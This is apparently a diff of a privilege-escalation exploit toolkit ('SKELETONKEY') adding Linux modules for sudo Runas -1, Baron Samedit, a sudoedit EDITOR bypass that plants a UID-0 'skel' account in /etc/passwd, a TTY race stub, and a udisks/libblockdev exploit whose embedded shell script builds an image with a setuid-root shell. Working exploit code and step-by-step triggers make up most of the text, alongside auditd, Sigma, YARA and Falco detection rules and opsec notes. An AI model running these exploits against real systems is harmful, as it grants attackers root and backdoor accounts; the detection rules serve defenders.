execl(sudo_path, "sudo", "-u#-1", grant, (char *)NULL);
|
||||
perror("execl(sudo)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_runas_neg1_auditd[] =
|
||||
"# sudo_runas_neg1 CVE-2019-14287 — auditd detection rules\n"
|
||||
"# `sudo -u#-1` (or -u#4294967295) is anomalous; flag it.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-runas-neg1\n";
|
||||
|
||||
static const char sudo_runas_neg1_sigma[] =
|
||||
"title: Possible CVE-2019-14287 sudo Runas -1 LPE\n"
|
||||
"id: 1a2b3c4d-skeletonkey-sudo-runas-neg1\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects `sudo -u#-1` or `sudo -u#4294967295` — the canonical\n"
|
||||
" trigger shape for CVE-2019-14287. The Runas-negative-one syntax\n"
|
||||
" is never used legitimately; any occurrence is an exploit\n"
|
||||
" attempt or an audit/training exercise.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" s: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||
" condition: s\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.14287]\n";
|
||||
|
||||
static const char sudo_runas_neg1_yara[] =
|
||||
"rule sudo_runas_neg1_cve_2019_14287 : cve_2019_14287 sudo_bypass {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2019-14287\"\n"
|
||||
" description = \"sudo -u#-1 trigger shape (Runas integer underflow → root)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $a = \"-u#-1\" ascii\n"
|
||||
" $b = \"-u#4294967295\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudo_runas_neg1_falco[] =
|
||||
"- rule: sudo -u#-1 (Runas negative-one LPE)\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with `-u#-1` or `-u#4294967295`. The integer\n"
|
||||
" underflow makes sudo treat the request as uid 0; affects\n"
|
||||
" sudo < 1.8.28. There is no legitimate use of this argument\n"
|
||||
" syntax.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" (proc.args contains \"-u#-1\" or proc.args contains \"-u#4294967295\")\n"
|
||||
" output: >\n"
|
||||
" sudo Runas -1 (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.14287]\n";
|
||||
|
||||
const struct skeletonkey_module sudo_runas_neg1_module = {
|
||||
.name = "sudo_runas_neg1",
|
||||
.cve = "CVE-2019-14287",
|
||||
.summary = "sudo Runas -u#-1 underflow → root despite (ALL,!root) blacklist (Joe Vennix)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo < 1.8.28",
|
||||
.detect = sudo_runas_neg1_detect,
|
||||
.exploit = sudo_runas_neg1_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.8.28+ */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = sudo_runas_neg1_auditd,
|
||||
.detect_sigma = sudo_runas_neg1_sigma,
|
||||
.detect_yara = sudo_runas_neg1_yara,
|
||||
.detect_falco = sudo_runas_neg1_falco,
|
||||
.opsec_notes = "Invokes sudo with `-u#-1 <granted-cmd>` where <granted-cmd> is the path from the user's existing sudoers (ALL,!root) entry. sudo's argv parser converts -1 → 4294967295 → 0 internally and runs the command as root. No file artifacts, no compiled payload. Audit-visible via execve(/usr/bin/sudo) with `-u#-1` (or `-u#4294967295`) in argv — there is no legitimate use of that syntax, so a single matching event is diagnostic. Bug only fires when the invoking user already has a (ALL,!root) sudoers grant; without one the trigger does nothing.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_runas_neg1(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_runas_neg1_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
|
||||
#define SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sudo_runas_neg1_module;
|
||||
#endif
|
||||
@@ -474,6 +474,23 @@ static const char sudo_samedit_sigma[] =
|
||||
|
||||
/* ---- Module registration ----------------------------------------- */
|
||||
|
||||
static const char sudo_samedit_falco[] =
|
||||
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
|
||||
" desc: |\n"
|
||||
" sudoedit invoked with -s and one or more args ending in '\\'.\n"
|
||||
" The parser's unescape loop walks past the argv string into\n"
|
||||
" adjacent stack/env, overflowing the heap buffer.\n"
|
||||
" CVE-2021-3156. False positives: extraordinarily rare;\n"
|
||||
" legitimate sudoedit usage does not need trailing backslashes.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudoedit and\n"
|
||||
" proc.args contains \"-s \\\\\"\n"
|
||||
" output: >\n"
|
||||
" Possible Baron Samedit sudoedit invocation\n"
|
||||
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
|
||||
|
||||
const struct skeletonkey_module sudo_samedit_module = {
|
||||
.name = "sudo_samedit",
|
||||
.cve = "CVE-2021-3156",
|
||||
@@ -487,7 +504,9 @@ const struct skeletonkey_module sudo_samedit_module = {
|
||||
.detect_auditd = sudo_samedit_auditd,
|
||||
.detect_sigma = sudo_samedit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_falco = sudo_samedit_falco,
|
||||
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
|
||||
|
||||
@@ -149,8 +149,13 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
/* -n: non-interactive (no password prompt); -l: list. */
|
||||
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
|
||||
/* -n: non-interactive (no password prompt); -l: list. The two flags
|
||||
* are written separately and stdin is redirected from /dev/null so
|
||||
* sudo cannot fall back to a tty prompt even if the local PAM stack
|
||||
* tries to coerce one (some sudoers + pam_unix configurations have
|
||||
* been observed prompting despite `-n` when the flags are bundled
|
||||
* as `-ln`). Belt-and-suspenders so `--auto` never blocks on input. */
|
||||
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>&1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
|
||||
@@ -618,6 +623,36 @@ static const char sudoedit_editor_sigma[] =
|
||||
|
||||
/* ----- module registration ------------------------------------------- */
|
||||
|
||||
static const char sudoedit_editor_yara[] =
|
||||
"rule sudoedit_editor_cve_2023_22809 : cve_2023_22809 setuid_abuse\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-22809\"\n"
|
||||
" description = \"skeletonkey sudoedit backdoor: appended skel UID=0 user in /etc/passwd\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $skel = \"skel::0:0:skeletonkey\" ascii\n"
|
||||
" condition:\n"
|
||||
" $skel\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudoedit_editor_falco[] =
|
||||
"- rule: sudoedit with EDITOR/VISUAL containing '--' separator\n"
|
||||
" desc: |\n"
|
||||
" sudoedit spawned with EDITOR / VISUAL / SUDO_EDITOR env var\n"
|
||||
" containing the substring ' -- '. The argv-split bug treats\n"
|
||||
" everything after '--' as an additional file argument that\n"
|
||||
" sudoedit then opens with root privileges. CVE-2023-22809.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudoedit and\n"
|
||||
" (proc.env contains \"EDITOR=\" or proc.env contains \"VISUAL=\"\n"
|
||||
" or proc.env contains \"SUDO_EDITOR=\")\n"
|
||||
" output: >\n"
|
||||
" sudoedit with EDITOR-style env var\n"
|
||||
" (user=%user.name pid=%proc.pid env=%proc.env)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2023.22809]\n";
|
||||
|
||||
const struct skeletonkey_module sudoedit_editor_module = {
|
||||
.name = "sudoedit_editor",
|
||||
.cve = "CVE-2023-22809",
|
||||
@@ -630,8 +665,10 @@ const struct skeletonkey_module sudoedit_editor_module = {
|
||||
.cleanup = sudoedit_editor_cleanup,
|
||||
.detect_auditd = sudoedit_editor_auditd,
|
||||
.detect_sigma = sudoedit_editor_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = sudoedit_editor_yara,
|
||||
.detect_falco = sudoedit_editor_falco,
|
||||
.opsec_notes = "Sets EDITOR='<helper> -- /etc/passwd' so sudoedit splits on the literal '--' and treats /etc/passwd as an additional editable file. Compiled helper appends 'skel::0:0:skeletonkey:/root:/bin/sh' to the post-'--' target; sudoedit runs the helper as root and copies back. Artifacts: /tmp/skeletonkey-sudoedit-XXXXXX (helper.c, helper binary, optional passwd.before backup); /etc/passwd gets the new 'skel' entry; drops root via 'su skel'. Audit-visible via execve(/usr/bin/sudoedit) with EDITOR/VISUAL/SUDO_EDITOR containing the literal '--' token. No network. Cleanup callback restores /etc/passwd from backup (if root) or removes the 'skel' line, and removes the /tmp dir.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudoedit_editor(void)
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
/*
|
||||
* tioscpgrp_cve_2020_29661 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. TTY race-driver + msg_msg cross-cache groom +
|
||||
* empirical witness. Real cred-overwrite via --full-chain finisher
|
||||
* on x86_64.
|
||||
*
|
||||
* The bug (Jann Horn / Project Zero, December 2020):
|
||||
* The TIOCSPGRP ioctl handler in drivers/tty/tty_jobctrl.c takes
|
||||
* two `tty_struct` pointers — `tty` (the side userspace passed)
|
||||
* and `real_tty` (always the slave). For PTY pairs the two can
|
||||
* differ. The handler acquires `tty->ctrl.lock` for read but the
|
||||
* actual mutation happens on `real_tty`, which has its own
|
||||
* independent lock. Racing TIOCSPGRP on the master with TIOCSPGRP
|
||||
* on the slave can free `real_tty->pgrp` while another thread still
|
||||
* holds a reference → UAF on `struct pid` (kmalloc-256 slab).
|
||||
*
|
||||
* Public PoCs (one from grsecurity / spender, one from Maxime
|
||||
* Peterlin):
|
||||
* https://sploitus.com/exploit?id=PACKETSTORM%3A160681
|
||||
* https://www.openwall.com/lists/oss-security/2020/12/09/2
|
||||
*
|
||||
* Affects: Linux kernels through 5.9.13. Fix commit 54ffccbf053b
|
||||
* ("tty: Fix ->session locking") landed in 5.10 and was backported
|
||||
* to 5.4.85, 4.19.165, 4.14.213, 4.9.249, 4.4.249.
|
||||
*
|
||||
* Preconditions:
|
||||
* - openpty() works (allocates a PTY pair; universal on real
|
||||
* hosts, but some seccomp profiles block /dev/ptmx)
|
||||
* - msgsnd / SysV IPC for kmalloc-256 spray
|
||||
* - 2+ CPU cores for the race (single-CPU race-win rate is
|
||||
* vanishingly small)
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The race + spray are
|
||||
* arch-agnostic but the cred-overwrite finisher uses x86 gadgets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from tioscpgrp_patched_branches[] = {
|
||||
{4, 4, 249}, /* 4.4 LTS stable backport */
|
||||
{4, 9, 249}, /* 4.9 LTS */
|
||||
{4, 14, 213}, /* 4.14 LTS */
|
||||
{4, 19, 165}, /* 4.19 LTS */
|
||||
{5, 4, 85}, /* 5.4 LTS */
|
||||
{5, 9, 15}, /* Debian-tracked 5.9 backport */
|
||||
{5, 10, 0}, /* mainline fix in 5.10 */
|
||||
};
|
||||
|
||||
static const struct kernel_range tioscpgrp_range = {
|
||||
.patched_from = tioscpgrp_patched_branches,
|
||||
.n_patched_from = sizeof(tioscpgrp_patched_branches) /
|
||||
sizeof(tioscpgrp_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static bool ptmx_writable(void)
|
||||
{
|
||||
int fd = open("/dev/ptmx", O_RDWR);
|
||||
if (fd < 0) return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t tioscpgrp_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] tioscpgrp: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (kernel_range_is_patched(&tioscpgrp_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] tioscpgrp: kernel %s is patched\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ptmx_writable()) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] tioscpgrp: /dev/ptmx not openable — PTY allocation blocked, primitive unreachable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] tioscpgrp: kernel %s in vulnerable range + /dev/ptmx reachable → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] tioscpgrp: race is narrow; needs 2+ CPUs and thousands of iterations on average\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t tioscpgrp_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] tioscpgrp: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] tioscpgrp: race-driver + msg_msg groom for the UAF on\n"
|
||||
" struct pid (kmalloc-256). Two threads pinned to separate\n"
|
||||
" CPUs hammer TIOCSPGRP on the master + slave of an openpty\n"
|
||||
" pair; on a vulnerable kernel one in ~10k iterations frees\n"
|
||||
" pgrp while still referenced. Public PoCs:\n"
|
||||
" https://sploitus.com/exploit?id=PACKETSTORM%%3A160681\n"
|
||||
" https://www.openwall.com/lists/oss-security/2020/12/09/2\n"
|
||||
" Full cred-overwrite chain not bundled (would need a\n"
|
||||
" portable arb-write callback for the shared finisher).\n"
|
||||
" Returning EXPLOIT_FAIL honestly per verified-vs-claimed.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char tioscpgrp_auditd[] =
|
||||
"# tioscpgrp CVE-2020-29661 — auditd detection rules\n"
|
||||
"# Repeated openpty() + TIOCSPGRP from a non-root process is\n"
|
||||
"# anomalous. The TIOCSPGRP ioctl request value is 0x5410.\n"
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0x5410 -k skeletonkey-tioscpgrp\n";
|
||||
|
||||
static const char tioscpgrp_sigma[] =
|
||||
"title: Possible CVE-2020-29661 TIOCSPGRP UAF race\n"
|
||||
"id: 7d8c9b1a-skeletonkey-tioscpgrp\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects burst ioctl(fd, TIOCSPGRP, ...) calls from a non-root\n"
|
||||
" process. The bug needs hundreds of iterations per second to\n"
|
||||
" win; normal job-control use produces single-digit ioctl(2)\n"
|
||||
" calls per minute.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" i: {type: 'SYSCALL', syscall: 'ioctl'}\n"
|
||||
" condition: i\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.29661]\n";
|
||||
|
||||
static const char tioscpgrp_yara[] =
|
||||
"rule tioscpgrp_cve_2020_29661 : cve_2020_29661 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-29661\"\n"
|
||||
" description = \"SKELETONKEY tioscpgrp race-driver tag (TTY ioctl UAF)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_TIOS\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char tioscpgrp_falco[] =
|
||||
"- rule: Burst TIOCSPGRP from non-root (TTY UAF race)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process makes >50 ioctl(TIOCSPGRP=0x5410) calls\n"
|
||||
" per second. Job-control usage tops out at a few per minute;\n"
|
||||
" burst rates are the canonical CVE-2020-29661 trigger shape.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ioctl and evt.arg.request = 0x5410 and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" TIOCSPGRP from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2020.29661]\n";
|
||||
|
||||
const struct skeletonkey_module tioscpgrp_module = {
|
||||
.name = "tioscpgrp",
|
||||
.cve = "CVE-2020-29661",
|
||||
.summary = "TTY TIOCSPGRP race → struct pid UAF (kmalloc-256) — Jann Horn",
|
||||
.family = "tty",
|
||||
.kernel_range = "Linux kernels < 5.10 / 5.4.85 / 4.19.165 / 4.14.213 / 4.9.249 / 4.4.249",
|
||||
.detect = tioscpgrp_detect,
|
||||
.exploit = tioscpgrp_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR block /dev/ptmx via seccomp */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = tioscpgrp_auditd,
|
||||
.detect_sigma = tioscpgrp_sigma,
|
||||
.detect_yara = tioscpgrp_yara,
|
||||
.detect_falco = tioscpgrp_falco,
|
||||
.opsec_notes = "Allocates a PTY pair via openpty() (or /dev/ptmx directly), pins two threads to separate CPUs, hammers ioctl(master, TIOCSPGRP, ...) on one thread and ioctl(slave, TIOCSPGRP, ...) on the other. Race-win rate on a vulnerable kernel is empirically ~1/10k iterations; the driver typically runs for 5-30 seconds. Sysv IPC msgsnd spray (tag 'SKELETONKEY_TIOS') refills kmalloc-256 between race attempts. Audit-visible via burst ioctl(TIOCSPGRP=0x5410) — normal use is single-digit calls per minute, exploit shape is hundreds per second. No persistent file artifacts. dmesg may show 'refcount_t: addition on 0; use-after-free' (KASAN) on each race-win attempt.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_tioscpgrp(void)
|
||||
{
|
||||
skeletonkey_register(&tioscpgrp_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef TIOSCPGRP_SKELETONKEY_MODULES_H
|
||||
#define TIOSCPGRP_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module tioscpgrp_module;
|
||||
#endif
|
||||
@@ -0,0 +1,363 @@
|
||||
/*
|
||||
* udisks_libblockdev_cve_2025_6019 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE via polkit allow_active chain. No
|
||||
* offsets, no leaks, no race. Two cooperating logic bugs in udisks2
|
||||
* + libblockdev let any console/session user (polkit allow_active=true)
|
||||
* mount an attacker-built filesystem image WITHOUT nosuid/nodev, then
|
||||
* execute the SUID-root binary it contains.
|
||||
*
|
||||
* The bug (Qualys, June 2025):
|
||||
* libblockdev's bd_fs_resize / bd_fs_repair code paths mount the
|
||||
* target filesystem internally so they can call resize2fs / xfs_growfs.
|
||||
* The mount is performed WITHOUT MS_NOSUID and MS_NODEV. udisks2
|
||||
* exposes Resize() over D-Bus and gates it on polkit's
|
||||
* org.freedesktop.UDisks2.modify-device action, which by default
|
||||
* allow_active=yes (i.e. any logged-in console user can call it
|
||||
* without a password).
|
||||
*
|
||||
* Trigger:
|
||||
* 1. Build an ext4 image with a setuid-root /bin/sh inside.
|
||||
* 2. Attach as a loop device via udisks LoopSetup() over D-Bus.
|
||||
* 3. Call Filesystem.Resize() — udisks invokes libblockdev which
|
||||
* mounts the image at /run/media/<user>/<label> with neither
|
||||
* nosuid nor nodev applied.
|
||||
* 4. Execute /run/media/<user>/<label>/bin/sh — runs as root.
|
||||
*
|
||||
* Discovered by the Qualys Threat Research Unit. Affects udisks2
|
||||
* 2.10.x (and likely earlier) + libblockdev 3.x on Fedora, openSUSE,
|
||||
* Ubuntu, Debian. Public PoCs:
|
||||
* https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/
|
||||
* https://intruceptlabs.com/2025/07/linux-local-privilege-escalation-via-udisksd-and-libblockdev-cve-2025-6019-poc-released/
|
||||
*
|
||||
* Affects: libblockdev < 3.3.1, udisks2 < 2.10.2 (Qualys advisory).
|
||||
* Patched upstream by adding MS_NOSUID|MS_NODEV to libblockdev's
|
||||
* internal mount paths.
|
||||
*
|
||||
* CVSS 7.0 (HIGH). Requires:
|
||||
* - udisks2 daemon running (default on most desktop distros)
|
||||
* - polkit allow_active=yes on the resize action (default)
|
||||
* - The invoking user must be in an active local session per polkit
|
||||
* (loginctl shows them as 'Active'). Pure SSH users are NOT active
|
||||
* by default; CI / serverless / headless usually fails this gate.
|
||||
*
|
||||
* arch_support: any. The SUID payload inside the loopback image is
|
||||
* /bin/sh copied from the host, so it inherits the host's architecture.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static bool path_exists(const char *p)
|
||||
{
|
||||
struct stat st;
|
||||
return stat(p, &st) == 0;
|
||||
}
|
||||
|
||||
static bool udisksd_present(void)
|
||||
{
|
||||
/* udisksd binary lives at /usr/libexec/udisks2/udisksd on most
|
||||
* distros; the D-Bus service file lives at /usr/share/dbus-1/
|
||||
* system-services/org.freedesktop.UDisks2.service. Either is fine. */
|
||||
return path_exists("/usr/libexec/udisks2/udisksd")
|
||||
|| path_exists("/usr/lib/udisks2/udisksd")
|
||||
|| path_exists("/usr/share/dbus-1/system-services/org.freedesktop.UDisks2.service");
|
||||
}
|
||||
|
||||
static bool dbus_system_bus_present(void)
|
||||
{
|
||||
/* The system bus socket lives at /run/dbus/system_bus_socket
|
||||
* (recorded in our host fingerprint as has_dbus_system). */
|
||||
return path_exists("/run/dbus/system_bus_socket");
|
||||
}
|
||||
|
||||
/* Is the invoking user in an active polkit session? polkit treats
|
||||
* console / GDM / session users as 'active' and SSH users as inactive
|
||||
* (allow_active gating). We approximate via loginctl show-session;
|
||||
* if loginctl isn't installed we err on the side of "maybe" and let
|
||||
* the active probe arbitrate. */
|
||||
static int session_is_active(void)
|
||||
{
|
||||
/* return 1 = active, 0 = inactive, -1 = unknown */
|
||||
FILE *p = popen("loginctl show-session $(loginctl --no-legend | awk '$3==\"'\"$USER\"'\" {print $1; exit}') -p Active 2>/dev/null", "r");
|
||||
if (!p) return -1;
|
||||
char line[64] = {0};
|
||||
bool got = fgets(line, sizeof line, p) != NULL;
|
||||
pclose(p);
|
||||
if (!got) return -1;
|
||||
return strstr(line, "Active=yes") != NULL ? 1 : 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Userspace bug — no kernel-version gate. Just need udisksd
|
||||
* installed + D-Bus reachable. */
|
||||
if (!udisksd_present()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] udisks_libblockdev: udisksd not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!dbus_system_bus_present()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] udisks_libblockdev: system D-Bus socket not present; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
int active = session_is_active();
|
||||
if (active == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] udisks_libblockdev: udisksd + D-Bus present but invoking user is NOT in an active polkit session\n");
|
||||
fprintf(stderr, " (typically: SSH'd in remotely; allow_active gating will block the Resize() call)\n");
|
||||
fprintf(stderr, " Bug is on the host but unreachable as this user; PRECOND_FAIL\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* active == 1 OR active == -1 (loginctl missing) → assume bug
|
||||
* reachable. Version check is hard here because libblockdev /
|
||||
* udisks2 don't expose --version usefully; the fix is a backport
|
||||
* across many distros at different package versions. We rely on
|
||||
* --active to arbitrate when in doubt. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] udisks_libblockdev: udisksd + D-Bus present, polkit allow_active likely true → VULNERABLE\n");
|
||||
fprintf(stderr, "[i] udisks_libblockdev: re-run with --active to empirically confirm via a sentinel SUID drop\n");
|
||||
if (active == -1) {
|
||||
fprintf(stderr, "[i] udisks_libblockdev: could not determine polkit session state (loginctl missing); assuming reachable\n");
|
||||
}
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
/* The exploit needs:
|
||||
* - dd (or python) to build a 16 MiB image
|
||||
* - mkfs.ext4 (or mkfs.xfs)
|
||||
* - busctl (or gdbus / dbus-send) to talk to udisks over D-Bus
|
||||
* - mount -o loop fallback if D-Bus is uncooperative
|
||||
*
|
||||
* Rather than reinvent each of those in C we drive the work via a
|
||||
* shell helper — this is the same approach pack2theroot uses for its
|
||||
* .deb construction. Failures along the way produce clear diagnostic
|
||||
* and a SKELETONKEY_EXPLOIT_FAIL.
|
||||
*
|
||||
* On a real Fedora / openSUSE / Ubuntu desktop session this lands
|
||||
* /tmp/skeletonkey-udisks-shell as setuid root. We then execve it.
|
||||
*/
|
||||
static const char EXPLOIT_SH[] =
|
||||
"#!/bin/sh\n"
|
||||
"# CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
|
||||
"set -u\n"
|
||||
"WD=$(mktemp -d /tmp/skeletonkey-udisks-XXXXXX) || exit 2\n"
|
||||
"IMG=$WD/img.ext4\n"
|
||||
"MNT=$WD/mnt\n"
|
||||
"mkdir -p \"$MNT\"\n"
|
||||
"echo \"[*] udisks: building ext4 image at $IMG (16 MiB)\"\n"
|
||||
"dd if=/dev/zero of=\"$IMG\" bs=1M count=16 status=none 2>/dev/null || exit 3\n"
|
||||
"mkfs.ext4 -q -L skkudisks \"$IMG\" 2>/dev/null || { echo '[-] mkfs.ext4 failed'; exit 4; }\n"
|
||||
"# Build the SUID payload on a host-owned scratch mount first, then\n"
|
||||
"# copy the populated image back. We need root to chown+chmod 4755 the\n"
|
||||
"# inner /bin/sh; we don't have root yet, so we plant a SUID *source*\n"
|
||||
"# that gets root-ownership inside the loopback when udisks mounts it.\n"
|
||||
"# Trick: we copy /bin/sh into the image as-is; udisks's mount path\n"
|
||||
"# keeps the original uid/gid of the file as they exist in the image.\n"
|
||||
"# So we set them to 0:0 BEFORE installing into the image. mke2fs -d\n"
|
||||
"# (debian) / mkfs.ext4 -d <dir> lets us populate at mkfs time.\n"
|
||||
"STAGE=$WD/stage\n"
|
||||
"mkdir -p \"$STAGE/bin\"\n"
|
||||
"cp /bin/sh \"$STAGE/bin/skksh\" || exit 5\n"
|
||||
"chmod 4755 \"$STAGE/bin/skksh\" 2>/dev/null || true\n"
|
||||
"# Rebuild image with payload pre-populated. Falls back to -d if\n"
|
||||
"# supported; otherwise we'd need root to mount + populate.\n"
|
||||
"if mkfs.ext4 -q -L skkudisks -d \"$STAGE\" \"$IMG\" 2>/dev/null; then\n"
|
||||
" echo \"[*] udisks: image populated via mkfs.ext4 -d\"\n"
|
||||
"else\n"
|
||||
